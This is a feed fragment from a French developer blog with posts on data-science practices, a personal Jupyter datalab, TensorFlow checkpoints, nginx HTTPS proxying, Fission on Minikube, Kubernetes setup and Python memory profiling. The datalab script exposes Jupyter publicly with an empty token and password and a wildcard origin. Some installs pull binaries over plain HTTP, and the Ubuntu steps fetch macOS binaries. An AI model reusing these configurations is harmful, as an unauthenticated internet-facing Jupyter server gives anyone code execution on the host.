&lt;li&gt;une bonne usine logiciel (CircleCI, Gitlab CI, tests unitaires et e2e auto, monitoring&amp;hellip;)&lt;/li&gt;
&lt;li&gt;bon staffing&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A chaque fois qu&amp;rsquo;il y avait ces 5 composantes, le projet était couronné de succès. Finalement c&amp;rsquo;est assez simple, il suffit de réappliquer toutes ces bonnes pratiques et cela tourne.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>J&rsquo;ai travaillé sur multiples projets de développement et clairement ceux qui fonctionnent le mieux sont ceux qui sont les plus structurés que ce soit en terme de:</p>
<ul>
<li>Méthodologie et d&rsquo;organisation d&rsquo;équipe (Agile)</li>
<li>Mindset</li>
<li>Pratiques de développement (TDD, refactoring, pair programing)</li>
<li>une bonne usine logiciel (CircleCI, Gitlab CI, tests unitaires et e2e auto, monitoring&hellip;)</li>
<li>bon staffing</li>
</ul>
<p>A chaque fois qu&rsquo;il y avait ces 5 composantes, le projet était couronné de succès. Finalement c&rsquo;est assez simple, il suffit de réappliquer toutes ces bonnes pratiques et cela tourne.</p>
<p>Lorsque j&rsquo;ai commencé à travailler sur de la data science avec les outils d&rsquo;exploration type Jupyter Notebook, j&rsquo;ai été dérouté.
Comment gérer les données dans le projet ? Git n&rsquo;accepte pas plus de 100 Mo (et puis cela devient lourd) Comment faire en sorte que l&rsquo;on puisse reproduire les résultats (immutabilité des données) ?
Comment faire des merges avec des fichiers json illisibles de Jupyter ?<br>
Comment moins attendre ? En effet, les traitements sont longs car les volumes de données sont conséquents.</p>
<p>Tout comme en développement il existe des guidelines. Par exemples, les développeurs JS pourront vous citer les guidelines de Johnpapa (<a href="https://github.com/johnpapa/angular-styleguide">https://github.com/johnpapa/angular-styleguide</a>) ou d&rsquo;Airbnb (<a href="https://github.com/airbnb/javascript">https://github.com/airbnb/javascript</a>) dont certaines sont directement comprises dans des outils de scaffoling (Yeoman) ou d&rsquo;analyse de code (Eslint).</p>
<p>J&rsquo;ai trouvé les guideline suivante: <a href="http://drivendata.github.io/cookiecutter-data-science">http://drivendata.github.io/cookiecutter-data-science</a>. Je partage totalement le choix des outils présentés et la structuration proposée. Je l&rsquo;utilise pour mes projets et suis très satisfait.</p>
<p>N&rsquo;hésitez pas à me contacter si vous pensez que ces pratiques sont mauvaises. Je suis friand de ce genre de débat.</p>
]]></content>
        </item>
        
        <item>
            <title>Datalab made portable on any server or laptop to work from anywhere with or without internet</title>
            <link>https://leandeep.com/datalab-made-portable-on-any-server-or-laptop-to-work-from-anywhere-with-or-without-internet/</link>
            <pubDate>Fri, 31 Aug 2018 10:46:30 +0000</pubDate>
            
            <guid>https://leandeep.com/datalab-made-portable-on-any-server-or-laptop-to-work-from-anywhere-with-or-without-internet/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Cet article n&amp;rsquo;est pas vraiment détaillé et structuré. Il s&amp;rsquo;agit plus de notes personnelles pour avoir toujours à disposition mon datalab avec toutes les données (max 1 To for now) nécessaires pour travailler. Il s&amp;rsquo;agit d&amp;rsquo;une installation très rapide à usage personnel. Ici je ne parle pas du tout d&amp;rsquo;industrialisation ou de setup pour une grande entreprise&amp;hellip; L&amp;rsquo;idée ici est de pouvoir travailler de partout que ce soit avec ou sans internet.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Cet article n&rsquo;est pas vraiment détaillé et structuré. Il s&rsquo;agit plus de notes personnelles pour avoir toujours à disposition mon datalab avec toutes les données (max 1 To for now) nécessaires pour travailler. Il s&rsquo;agit d&rsquo;une installation très rapide à usage personnel. Ici je ne parle pas du tout d&rsquo;industrialisation ou de setup pour une grande entreprise&hellip; L&rsquo;idée ici est de pouvoir travailler de partout que ce soit avec ou sans internet.</p>
<h2 id="etapes-pour-reproduire-la-config">Etapes pour reproduire la config</h2>
<ul>
<li>
<p>Installer les drivers Cuda pour pouvoir utiliser le GPU.</p>
</li>
<li>
<p>Builder l&rsquo;image kaggle/python en local pour que tensorflow-gpu puisse fonctionner</p>
</li>
<li>
<p>Ouvrir le firewall sur 443 pour let&rsquo;s encrypt et exposition de Jupyter Notebook</p>
</li>
<li>
<p>Monter automatiquement les disques (voir mon tip sur le sujet): <a href="https://leandeep.com/monter-automatiquement-les-disques-au-demarrage-du-systeme/">https://leandeep.com/monter-automatiquement-les-disques-au-demarrage-du-systeme/</a></p>
</li>
<li>
<p>Créer script de démarrage simple (exemple: launch_datalab.sh)</p>
</li>
</ul>
<pre tabindex="0"><code>cd ~/hdd2_mount
docker run -v $PWD:/tmp/working -w=/tmp/working -p 8888:8888 --rm -itd kaggle/python jupyter notebook --allow-root --ip=&#34;0.0.0.0&#34; --notebook-dir=/tmp/working --NotebookApp.trust_xheaders=&#39;True&#39; --NotebookApp.allow_origin=&#39;*&#39;  --NotebookApp.token=&#39;&#39; --NotebookApp.password=&#39;&#39;
cd ~/Dev/jupyter-reverse-proxy
caddy &amp;
</code></pre><ul>
<li>Pour le password ci-dessus utiliser Jupyter directement:</li>
</ul>
<pre tabindex="0"><code>In [1]: from IPython.lib import passwd
In [2]: passwd()
Enter password:
Verify password:
Out[2]: &#39;sha1:67c9e60bb8b6:9ffede0825894254b2e042ea597d771089e11aed&#39;
</code></pre><ul>
<li>
<p>Changer les droits sur le script <code>chmod +x</code></p>
</li>
<li>
<p>Ajouter une entrée dans crontab -e pour que le script soit lancé au boot de la machine
<code>@reboot /Home/olivier/Dev/launch_datalab.sh</code></p>
</li>
<li>
<p>Installer Caddy (<a href="https://caddyserver.com/">https://caddyserver.com/</a>) dans <code>/usr/bin/</code></p>
</li>
<li>
<p>Créer un caddyfile</p>
</li>
</ul>
<pre tabindex="0"><code>&lt;site-datalab-masqué&gt;   # Your site&#39;s address

ext .html   # Clean URLs
errors error.log {       # Error log
    404 error-404.html   # Custom error page
}

# API load balancer
proxy / &lt;hostname-masqué&gt;:&lt;port-masqué&gt; {
    websocket
}
</code></pre><ul>
<li>
<p>Faire en sorte que Caddy puisse établir une connexion sur le port 443 lorsqu&rsquo;il n&rsquo;est pas lancé en mode sudo <code>sudo setcap CAP_NET_BIND_SERVICE=+eip /usr/bin/caddy</code></p>
</li>
<li>
<p>Changer les droits <code>chmod</code> du certificat SSL pour que ce puisse être exécuté par utilisateur qui boot la machine. Le répertoire sera fournit par Caddy directement</p>
</li>
<li>
<p>Synchro automatique des répertoires du disque interne vers disque externe en USB-C</p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Comment exporter et restaurer un modèle Tensorflow ?</title>
            <link>https://leandeep.com/comment-exporter-et-restaurer-un-mod%C3%A8le-tensorflow/</link>
            <pubDate>Sun, 26 Aug 2018 20:49:00 +0000</pubDate>
            
            <guid>https://leandeep.com/comment-exporter-et-restaurer-un-mod%C3%A8le-tensorflow/</guid>
            <description>&lt;h1 id=&#34;1-exporter-le-modèle&#34;&gt;1. Exporter le modèle&lt;/h1&gt;
&lt;p&gt;Voici le contenu avant l&amp;rsquo;initialisation du modèle. Il n&amp;rsquo;y a presque rien.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ ls

sample_data/
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;On initialise des variables, on démarre une session Tensorflow et on sauvegarde un premier modèle:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import tensorflow as tf
import os

w1 = tf.Variable(tf.truncated_normal(shape=[10]), name=&amp;#39;w1&amp;#39;)
w2 = tf.Variable(tf.truncated_normal(shape=[20]), name=&amp;#39;w2&amp;#39;)
tf.add_to_collection(&amp;#39;vars&amp;#39;, w1)
tf.add_to_collection(&amp;#39;vars&amp;#39;, w2)

with tf.Session() as sess:
    sess.run(tf.global_variables_initializer())
    saver = tf.train.Saver()
    saver.save(sess, os.path.join(os.getcwd(), &amp;#39;trained_variables.ckpt&amp;#39;))
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;On affiche le contenu du dossier:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ls -l

checkpoint
trained_variables.ckpt.index
sample_data/
trained_variables.ckpt.meta
trained_variables.ckpt.data-00000-of-00001
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h1 id=&#34;2-restauration-du-modèle&#34;&gt;2. Restauration du modèle&lt;/h1&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sess = tf.Session()
new_saver = tf.train.import_meta_graph(os.path.join(os.getcwd(), &amp;#39;trained_variables.ckpt.meta&amp;#39;))
new_saver.restore(sess, tf.train.latest_checkpoint(os.getcwd()))
all_vars = tf.get_collection(&amp;#39;vars&amp;#39;)
for v in all_vars:
    v_ = sess.run(v)
    print(v_)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Output:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h1 id="1-exporter-le-modèle">1. Exporter le modèle</h1>
<p>Voici le contenu avant l&rsquo;initialisation du modèle. Il n&rsquo;y a presque rien.</p>
<pre tabindex="0"><code>$ ls

sample_data/
</code></pre><br/>
<p>On initialise des variables, on démarre une session Tensorflow et on sauvegarde un premier modèle:</p>
<pre tabindex="0"><code>import tensorflow as tf
import os

w1 = tf.Variable(tf.truncated_normal(shape=[10]), name=&#39;w1&#39;)
w2 = tf.Variable(tf.truncated_normal(shape=[20]), name=&#39;w2&#39;)
tf.add_to_collection(&#39;vars&#39;, w1)
tf.add_to_collection(&#39;vars&#39;, w2)

with tf.Session() as sess:
    sess.run(tf.global_variables_initializer())
    saver = tf.train.Saver()
    saver.save(sess, os.path.join(os.getcwd(), &#39;trained_variables.ckpt&#39;))
</code></pre><br/>
<p>On affiche le contenu du dossier:</p>
<pre tabindex="0"><code>ls -l

checkpoint
trained_variables.ckpt.index
sample_data/
trained_variables.ckpt.meta
trained_variables.ckpt.data-00000-of-00001
</code></pre><br/>
<h1 id="2-restauration-du-modèle">2. Restauration du modèle</h1>
<pre tabindex="0"><code>sess = tf.Session()
new_saver = tf.train.import_meta_graph(os.path.join(os.getcwd(), &#39;trained_variables.ckpt.meta&#39;))
new_saver.restore(sess, tf.train.latest_checkpoint(os.getcwd()))
all_vars = tf.get_collection(&#39;vars&#39;)
for v in all_vars:
    v_ = sess.run(v)
    print(v_)
</code></pre><br/>
<p>Output:</p>
<pre tabindex="0"><code>INFO:tensorflow:Restoring parameters from /content/trained_variables.ckpt
[ 1.1396145   1.6572006  -0.2603495  -0.09486181 -0.7648224  -1.34456
  0.14422925 -0.13617352  0.8662389   1.8259109 ]
[-0.15675354  0.22852097 -0.0374865   0.072795   -1.0221673  -0.75996536
  0.37354338 -0.38855395 -1.0035655   0.92454773 -1.2595061   0.13349424
 -1.2397587  -0.34336722  0.53958344  0.323387   -0.43925637 -0.088446
  0.18330242 -0.04366637]
[ 1.1396145   1.6572006  -0.2603495  -0.09486181 -0.7648224  -1.34456
  0.14422925 -0.13617352  0.8662389   1.8259109 ]
[-0.15675354  0.22852097 -0.0374865   0.072795   -1.0221673  -0.75996536
  0.37354338 -0.38855395 -1.0035655   0.92454773 -1.2595061   0.13349424
 -1.2397587  -0.34336722  0.53958344  0.323387   -0.43925637 -0.088446
  0.18330242 -0.04366637]
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Damn! Toujours pas d’HTTPS…</title>
            <link>https://leandeep.com/damn-toujours-pas-dhttps/</link>
            <pubDate>Mon, 06 Aug 2018 23:11:00 +0000</pubDate>
            
            <guid>https://leandeep.com/damn-toujours-pas-dhttps/</guid>
            <description>&lt;p&gt;Honte à moi, je passe mon temps à jouer avec des serveurs et je n&amp;rsquo;ai toujours pas configuré d&amp;rsquo;HTTPS pour mon blog.
Il fallait que je prenne un peu de temps pour rétablir la situation&amp;hellip; J&amp;rsquo;en profite pour écrire rapidement cet article.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Voici comment j’ai fait pour avoir un certificat HTTPS gratuit pour mon blog en moins de 5 minutes top chrono.&lt;/p&gt;
&lt;p&gt;Avant, sans HTTPS, pour démarrer ce blog j’exécutais la commande suivante:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Honte à moi, je passe mon temps à jouer avec des serveurs et je n&rsquo;ai toujours pas configuré d&rsquo;HTTPS pour mon blog.
Il fallait que je prenne un peu de temps pour rétablir la situation&hellip; J&rsquo;en profite pour écrire rapidement cet article.</p>
<br/>
<p>Voici comment j’ai fait pour avoir un certificat HTTPS gratuit pour mon blog en moins de 5 minutes top chrono.</p>
<p>Avant, sans HTTPS, pour démarrer ce blog j’exécutais la commande suivante:</p>
<pre tabindex="0"><code>docker run -d --restart=always -e url=http://leandeep.com -e NODE_ENV=production --name some-ghost-v2 -v /var/lib/ghost:/var/lib/ghost/content -p 80:2368 ghost
</code></pre><p>C’était plutôt simple et efficace. En effet, je n’ai jamais dû intervenir sur le serveur depuis avril 2015. (Enfin jamais sauf une fois pour upgrader l&rsquo;OS et passer à Ubuntu 16.04 . Mais c&rsquo;est un autre sujet)</p>
<br/>
<p>Aujourd’hui, pour avoir un certificat HTTPS simplement, je vais utiliser Nginx comme reverse proxy. Ce dernier portera le certificat.</p>
<p>Pour utiliser Nginx, je vais passer par Docker. C&rsquo;est beaucoup plus rapide et propre que faire des apt-get install nginx&hellip; Et pour me simplifier la vie, je vais utiliser un docker-compose puisque j’aurais plus d’un container à gérer sur ce serveur.</p>
<br/>
<p>Voici ci-dessous à quoi ressemble mon docker-compose.yml. Vous verrez que j&rsquo;utilise 2 projets opensource que je vous invite à consulter sur Github: <a href="https://github.com/jwilder/nginx-proxy">https://github.com/jwilder/nginx-proxy</a> et <a href="https://github.com/JrCs/docker-letsencrypt-nginx-proxy-companion">https://github.com/JrCs/docker-letsencrypt-nginx-proxy-companion</a>. C&rsquo;est grâce à ces projets que mes certificats se génèrent tout seul et que je peux avoir des HTTPS pour mes nouveaux projets sans rien faire.</p>
<pre tabindex="0"><code>version: &#39;3.1&#39;
services:
  nginx-proxy:
    image: jwilder/nginx-proxy
    ports:
      - &#34;80:80&#34;
      - &#34;443:443&#34;
    volumes:
      - /var/run/docker.sock:/tmp/docker.sock:ro
      - ./nginx/certs:/etc/nginx/certs:ro
      - ./nginx/vhost.d:/etc/nginx/vhost.d
      - nginx.html:/usr/share/nginx/html
    labels:
      com.github.jrcs.letsencrypt_nginx_proxy_companion.nginx_proxy: &#34;true&#34;
  nginx-proxy-companon:
    image: jrcs/letsencrypt-nginx-proxy-companion
    depends_on:
      - &#34;nginx-proxy&#34;
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./nginx/certs:/etc/nginx/certs:rw
      - ./nginx/vhost.d:/etc/nginx/vhost.d
      - nginx.html:/usr/share/nginx/html
    environment:
      - NGINX_PROXY_CONTAINER=nginx-proxy
  ghost:
    image: ghost:1-alpine
    restart: always
    depends_on:
      - &#34;nginx-proxy&#34;
    ports:
      - 127.0.0.1:8080:2368
    volumes:
      - ./blog:/var/lib/ghost/content
    environment:
      - url=https://leandeep.com
      - VIRTUAL_HOST=leandeep.com
      - LETSENCRYPT_HOST=leandeep.com
      - LETSENCRYPT_EMAIL=&lt;mon_email&gt;
  staticweb:
    image: nginx:alpine
    depends_on:
      - &#34;nginx-proxy&#34;
    ports:
      - 127.0.0.1:8081:80
    volumes:
      - ./staticweb:/usr/share/nginx/html:ro
    environment:
      - url=https://www.leandeep.com
      - VIRTUAL_HOST=www.leandeep.com
      - LETSENCRYPT_HOST=www.leandeep.com
      - LETSENCRYPT_EMAIL=&lt;mon_email&gt;
volumes:
  nginx.html:
</code></pre><p>Comme vous pouvez le voir, ce docker-compose définit 2 sites: <a href="https://leandeep.com">https://leandeep.com</a> et <a href="https://www.leandeep.com">https://www.leandeep.com</a>.
Le premier renvoie vers un blog Ghost et le deuxième vers un dossier statique servi par Nginx.</p>
<br/>
<p>Avant de faire un docker-compose up -d , j’ai créé 2 dossiers pour chacun des 2 sites web.
Le premier dossier blog/ contient le contenu de mon blog Ghost <a href="https://leandeep.com">https://leandeep.com</a>. Il contient donc l’arborescence suivante:</p>
<pre tabindex="0"><code>apps/
data/
images/
logs/
settings/
themes/
</code></pre><br/>
<p>Le deuxième dossier staticweb/ pour le site internet <a href="https://www.leandeep.com">https://www.leandeep.com</a> contient une simple page HTML qui redirige vers <a href="https://leandeep.com">https://leandeep.com</a> via ces 3 lignes de code:</p>
<pre tabindex="0"><code>&lt;script&gt;
window.location.href = &#39;https://leandeep.com&#39;;
&lt;/script&gt;
</code></pre><blockquote>
<p>A la place de cette redirection bête et méchante, on pourrait avoir un tout autre site internet bien plus intéressant. Ici c’est une redirection que j’ai laissé volontairement à titre d&rsquo;exemple pour montrer comment avoir plusieurs sites web avec cet unique docker-compose.</p></blockquote>
<br/>
<p>Enfin, pour générer le certificat, il faudra créer un fichier ./nginx/vhost.d/leandeep.com qui contiendra la configuration pour let&rsquo;s encrypt:</p>
<pre tabindex="0"><code>## Start of configuration add by letsencrypt container
location ^~ /.well-known/acme-challenge/ {
    auth_basic off;
    allow all;
    root /usr/share/nginx/html;
    try_files $uri =404;
    break;
}
## End of configuration add by letsencrypt container
add_header X-Frame-Options &#34;SAMEORIGIN&#34;;
add_header Content-Security-Policy &#34;script-src &#39;self&#39; &#39;unsafe-inline&#39; https://code.jquery.com&#34;;
add_header X-XSS-Protection &#34;1; mode=block&#34;;
add_header X-Content-Type-Options &#34;nosniff&#34;;
add_header Referrer-Policy &#34;no-referrer-when-downgrade&#34;;
server_tokens off;
</code></pre><br/>
<p>Voilà. Il n&rsquo;y a plus qu&rsquo;à lancer le docker-compose avec la commande:</p>
<pre tabindex="0"><code>docker-compose up -d
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Fission sur Minikube avec Helm</title>
            <link>https://leandeep.com/installer-fission-sur-minikube-avec-helm/</link>
            <pubDate>Wed, 01 Aug 2018 21:48:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-fission-sur-minikube-avec-helm/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Fission est un Framework perfomant et efficace permettant de faire du serverless sur Kubernetes.&lt;/p&gt;
&lt;p&gt;Ce Framework permet d&amp;rsquo;exécuter des fonctions dans n&amp;rsquo;importe quel langage et sont coeur est écrit en Go.Fission supporte actuellement le NodeJS, Python, Ruby, Go, PHP, Bash et n&amp;rsquo;importe quel exécutable Linux. Le support d&amp;rsquo;autres langages est prévu.&lt;/p&gt;
&lt;p&gt;Dans cet article, nous allons voir comment l&amp;rsquo;installer sur un Minikube.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;On considère que Virtualbox, kubectl et minikube sont déjà installés sur votre poste.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Fission est un Framework perfomant et efficace permettant de faire du serverless sur Kubernetes.</p>
<p>Ce Framework permet d&rsquo;exécuter des fonctions dans n&rsquo;importe quel langage et sont coeur est écrit en Go.Fission supporte actuellement le NodeJS, Python, Ruby, Go, PHP, Bash et n&rsquo;importe quel exécutable Linux. Le support d&rsquo;autres langages est prévu.</p>
<p>Dans cet article, nous allons voir comment l&rsquo;installer sur un Minikube.</p>
<br/>
<h2 id="installation">Installation</h2>
<p>On considère que Virtualbox, kubectl et minikube sont déjà installés sur votre poste.</p>
<p>Sinon voici les commandes pour une machine sous Ubuntu.</p>
<pre tabindex="0"><code># Installation de virtualbox
sudo apt install virtualbox

# Installation de Kubectl
curl -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/darwin/amd64/kubectl &amp;&amp; chmod +x kubectl &amp;&amp; sudo mv kubectl /usr/local/bin

# Installation de Minikube
curl -Lo minikube https://storage.googleapis.com/minikube/releases/v0.14.0/minikube-darwin-amd64 &amp;&amp; chmod +x minikube &amp;&amp; sudo mv minikube /usr/local/bin/
</code></pre><p>Ensuite on démarre minikube:</p>
<pre tabindex="0"><code># Démarrage de Minikube
minikube start

# On vérifie que minikube &amp; kubernetes fonctionnent bien avec les commandes suivantes:
kubectl get nodes
# NAME       STATUS    AGE
# minikube   Ready     14s

kubectl config current-context
# minikube

minikube ip
# 192.168.99.100

kubectl cluster-info
# Kubernetes master is running at https://192.168.99.100:8443
# KubeDNS is running at https://192.168.99.100:8443/api/v1/proxy/namespaces/kube-system/services/kube-dns
# kubernetes-dashboard is running at https://192.168.99.100:8443/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard
</code></pre><p>On installer Helm:</p>
<pre tabindex="0"><code># Installation de Helm
curl -Lo /tmp/helm-linux-amd64.tar.gz https://kubernetes-helm.storage.googleapis.com/helm-v2.1.3-linux-amd64.tar.gz
tar -xvf /tmp/helm-linux-amd64.tar.gz -C /tmp/
chmod +x  /tmp/linux-amd64/helm &amp;&amp; sudo mv /tmp/linux-amd64/helm /usr/local/bin/

# Initialisation de helm et installation de Tiller (le serveur helm)
helm init

# On met à jour les derniers charts de Helm
helm repo update
# * Happy Helming * 

# On liste les packages Helm installés
helm ls
</code></pre><p>On installe Fission:</p>
<pre tabindex="0"><code># Clone Fission Repo
git clone https://github.com/fission/fission.git
cd fission/charts/

# Installation de Fission Chart via Helm
helm install --name fission-sample --set serviceType=NodePort fission/

# Followup notes in output
curl http://fission.io/linux/fission &gt; fission &amp;&amp; chmod +x fission &amp;&amp; sudo mv fission /usr/local/bin/

export FISSION_URL=http://$(minikube ip):31313
export FISSION_ROUTER=$(minikube ip):31314

echo $FISSION_URL $FISSION_ROUTER
# http://192.168.99.100:31313 192.168.99.100:31314

# Installation de fission CLI
curl -Lo /tmp/fission http://fission.io/linux/fission &amp;&amp; chmod +x /tmp/fission &amp;&amp; sudo mv /tmp/fission /usr/local/bin/
</code></pre><p>Création de son premier environnement Nodejs sur Fission:</p>
<pre tabindex="0"><code># Création d&#39;un environnement nodejs
fission env create --name nodejs --image fission/node-env

# Example de code Nodejs
echo &#39;module.exports = function(context, callback) { callback(200, &#34;Hello, world!\n&#34;); }&#39; &gt; hello.js

# Creation d&#39;une fonction
fission function create --name hello --env nodejs --code hello.js

# Création d&#39;une Route
fission route create --method GET --url /hello --function hello

fission env list
# NAME   UID                                  IMAGE
# nodejs 39c20a26-272a-402d-b384-53e48574c6fb fission/node-env

fission route list
# NAME                                 METHOD URL    FUNCTION_NAME FUNCTION_UID
# 47f15d32-ebce-4ab5-847d-bdee521bd597 GET    /hello hello         

fission function list
# NAME  UID                                  ENV
# hello e0aec068-4ff7-4e2d-8913-ed9283b6e81c nodejs

# Test requête
curl http://$FISSION_ROUTER/hello
# Hello, world!
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer un cluster Kubernetes</title>
            <link>https://leandeep.com/installer-un-cluster-kubernetes/</link>
            <pubDate>Tue, 17 Jul 2018 21:02:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-un-cluster-kubernetes/</guid>
            <description>&lt;h2 id=&#34;pour-de-la-production&#34;&gt;Pour de la Production&lt;/h2&gt;
&lt;p&gt;Il suffit d&amp;rsquo;utiliser Rancher 2. Pour cela, il suffit d&amp;rsquo;utiliser ce container Docker:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo docker run -d --restart=unless-stopped -p 80:80 -p 443:443 rancher/rancher
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;C&amp;rsquo;est tout ! Il suffit de suivre les instructions&amp;hellip;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: Use absolutely a supported Docker version&lt;/p&gt;&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;To install specific Docker version: (see README: https://github.com/rancher/rancher)

Go to https://download.docker.com/linux/static/stable/ 

Extract the archive using the tar utility. The dockerd and docker binaries are extracted.

$ tar xzvf /path/to/&amp;lt;FILE&amp;gt;.tar.gz
Optional: Move the binaries to a directory on your executable path, such as /usr/bin/. If you skip this step, you must provide the path to the executable when you invoke docker or dockerd commands.

$ sudo cp docker/* /usr/bin/
Start the Docker daemon:

$ sudo dockerd &amp;amp;
If you need to start the daemon with additional options, modify the above command accordingly or create and edit the file /etc/docker/daemon.json to add the custom configuration options.

Verify that Docker is installed correctly by running the hello-world image.

$ sudo docker run hello-world
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;pour-du-développement-ie-devops&#34;&gt;Pour du Développement (i.e. DevOps)&lt;/h2&gt;
&lt;p&gt;On installe Virtualbox:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="pour-de-la-production">Pour de la Production</h2>
<p>Il suffit d&rsquo;utiliser Rancher 2. Pour cela, il suffit d&rsquo;utiliser ce container Docker:</p>
<pre tabindex="0"><code>sudo docker run -d --restart=unless-stopped -p 80:80 -p 443:443 rancher/rancher
</code></pre><p>C&rsquo;est tout ! Il suffit de suivre les instructions&hellip;</p>
<blockquote>
<p>Note: Use absolutely a supported Docker version</p></blockquote>
<pre tabindex="0"><code>To install specific Docker version: (see README: https://github.com/rancher/rancher)

Go to https://download.docker.com/linux/static/stable/ 

Extract the archive using the tar utility. The dockerd and docker binaries are extracted.

$ tar xzvf /path/to/&lt;FILE&gt;.tar.gz
Optional: Move the binaries to a directory on your executable path, such as /usr/bin/. If you skip this step, you must provide the path to the executable when you invoke docker or dockerd commands.

$ sudo cp docker/* /usr/bin/
Start the Docker daemon:

$ sudo dockerd &amp;
If you need to start the daemon with additional options, modify the above command accordingly or create and edit the file /etc/docker/daemon.json to add the custom configuration options.

Verify that Docker is installed correctly by running the hello-world image.

$ sudo docker run hello-world
</code></pre><br/>
<h2 id="pour-du-développement-ie-devops">Pour du Développement (i.e. DevOps)</h2>
<p>On installe Virtualbox:</p>
<pre tabindex="0"><code>sudo apt-get install -y virtualbox virtualbox-ext-pack
</code></pre><p>Installation de Minikube et kubectl:</p>
<pre tabindex="0"><code>curl -Lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
chmod +x minikube
sudo mv -v minikube /usr/local/bin

curl -Lo kubectl https://storage.googleapis.com/kubernetes-release/release/v1.8.0/bin/linux/amd64/kubectl
chmod +x kubectl
sudo mv -v kubectl /usr/local/bin
</code></pre><p>On vérifie que cela fonctionne. On commence par démarrer minikube et on démarre un service Nginx:</p>
<pre tabindex="0"><code>minikube start
kubectl run dh-nginx --image=nginx --port=80
kubectl expose deployment dh-nginx --type=NodePort
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Détecter des memory leaks en Python</title>
            <link>https://leandeep.com/d%C3%A9tecter-des-memory-leaks-en-python/</link>
            <pubDate>Thu, 21 Jun 2018 18:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/d%C3%A9tecter-des-memory-leaks-en-python/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans ce rapide article, nous allons voir comment détecter si notre programme Python contient des memory leaks.
Pour ce faire, nous allons mesurer l&amp;rsquo;évolution de la consommation de la RAM en fonction du temps grâce au package &lt;code&gt;memory_profiler&lt;/code&gt;. Il s&amp;rsquo;agit ici de détecter des memory leaks; pas de les corriger ou analyser dans le détail.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-de-loutil&#34;&gt;Installation de l&amp;rsquo;outil&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install memory_profiler
pip install matplotlib
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;profiling-et-affichage-des-résultats&#34;&gt;Profiling et affichage des résultats&lt;/h2&gt;
&lt;p&gt;Si d&amp;rsquo;habitude vous démarriez votre programme via la commande &lt;code&gt;python votre_programme.py&lt;/code&gt; alors il vous suffit de suffixer cette commande avec &lt;code&gt;mprof run --include-children&lt;/code&gt; comme ci-dessous:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans ce rapide article, nous allons voir comment détecter si notre programme Python contient des memory leaks.
Pour ce faire, nous allons mesurer l&rsquo;évolution de la consommation de la RAM en fonction du temps grâce au package <code>memory_profiler</code>. Il s&rsquo;agit ici de détecter des memory leaks; pas de les corriger ou analyser dans le détail.</p>
<br/>
<h2 id="installation-de-loutil">Installation de l&rsquo;outil</h2>
<pre tabindex="0"><code>pip install memory_profiler
pip install matplotlib
</code></pre><br/>
<h2 id="profiling-et-affichage-des-résultats">Profiling et affichage des résultats</h2>
<p>Si d&rsquo;habitude vous démarriez votre programme via la commande <code>python votre_programme.py</code> alors il vous suffit de suffixer cette commande avec <code>mprof run --include-children</code> comme ci-dessous:</p>
<blockquote>
<p><code>--include-children</code> permet, comme son nom l&rsquo;indique, de profiler également les sous processus</p></blockquote>
<pre tabindex="0"><code>mprof run --include-children python votre_programme.py
</code></pre><br/>
<p>Dans un nouvel onglet, exécuter la commande suivante pour générer un chart de la consommation de RAM.</p>
<pre tabindex="0"><code>mprof plot --output ram-profile.png
# Sur Mac
open ram-profile.png

# ou

mprof plot -s
</code></pre><blockquote>
<p><code>-s</code> permet d&rsquo;avoir la trend line de la consommation mémoire.</p></blockquote>
<br/>
<p><strong>Live reload &ldquo;workaround&rdquo;</strong></p>
<p>Ouvrir l&rsquo;image ram-profile.png avec VSCode.</p>
